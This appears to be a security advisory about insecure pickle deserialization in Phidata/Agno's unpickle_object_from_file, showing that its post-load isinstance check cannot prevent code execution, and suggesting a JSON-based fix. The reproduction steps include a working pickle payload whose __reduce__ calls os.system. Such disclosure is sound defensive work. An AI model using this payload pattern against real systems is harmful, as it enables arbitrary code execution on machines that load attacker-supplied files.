YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Phidata/Agno β pickle.load() with Post-Deserialization Class Check (Security Theater)
Vulnerability Type
CWE-502: Deserialization of Untrusted Data
Severity
High β The verify_class parameter creates a false sense of security. The pickle payload executes during pickle.load(), before the isinstance check.
Affected Code
File: libs/agno/agno/utils/pickle.py
def unpickle_object_from_file(file_path: Path, verify_class: Optional[Any] = None) -> Any:
_obj = None
if file_path.exists() and file_path.is_file():
_obj = pickle.load(file_path.open("rb")) # β RCE happens HERE
if _obj and verify_class and not isinstance(_obj, verify_class):
logger.warning(f"Object does not match {verify_class}")
_obj = None # Too late β pickle payload already executed
return _obj
Steps to Reproduce
- Identify where phidata/agno calls
unpickle_object_from_file:
from agno.utils.pickle import unpickle_object_from_file
- Create a malicious pickle file:
import pickle, os
class FakeAgent:
def __reduce__(self):
return (os.system, ('id > /tmp/phidata_pwned',))
with open("/tmp/agent_state.pkl", "wb") as f:
pickle.dump(FakeAgent(), f)
- Load with verify_class β RCE still fires:
from pathlib import Path
# verify_class=dict, but the exploit runs BEFORE the check
result = unpickle_object_from_file(Path("/tmp/agent_state.pkl"), verify_class=dict)
# /tmp/phidata_pwned now exists β RCE executed before isinstance check
Why verify_class Doesn't Help
Python's pickle.load() invokes __reduce__ methods during deserialization. The malicious code executes as part of object reconstruction, which happens inside pickle.load() β before the return value is available for any type checking.
Timeline:
1. pickle.load(f) called
2. β pickle reads opcodes
3. β __reduce__ triggers os.system("id > /tmp/pwned") β RCE HERE
4. β pickle returns the constructed object
5. isinstance(_obj, verify_class) runs β TOO LATE
Suggested Fix
Use RestrictedUnpickler or replace pickle entirely:
import json
def safe_load_from_file(file_path: Path, expected_type: type = None) -> Any:
with open(file_path, "r") as f:
obj = json.load(f)
if expected_type and not isinstance(obj, expected_type):
return None
return obj
Invariant Violated
S16 (DeserializationGuard): The verify_class parameter is security theater β it does not prevent code execution during deserialization.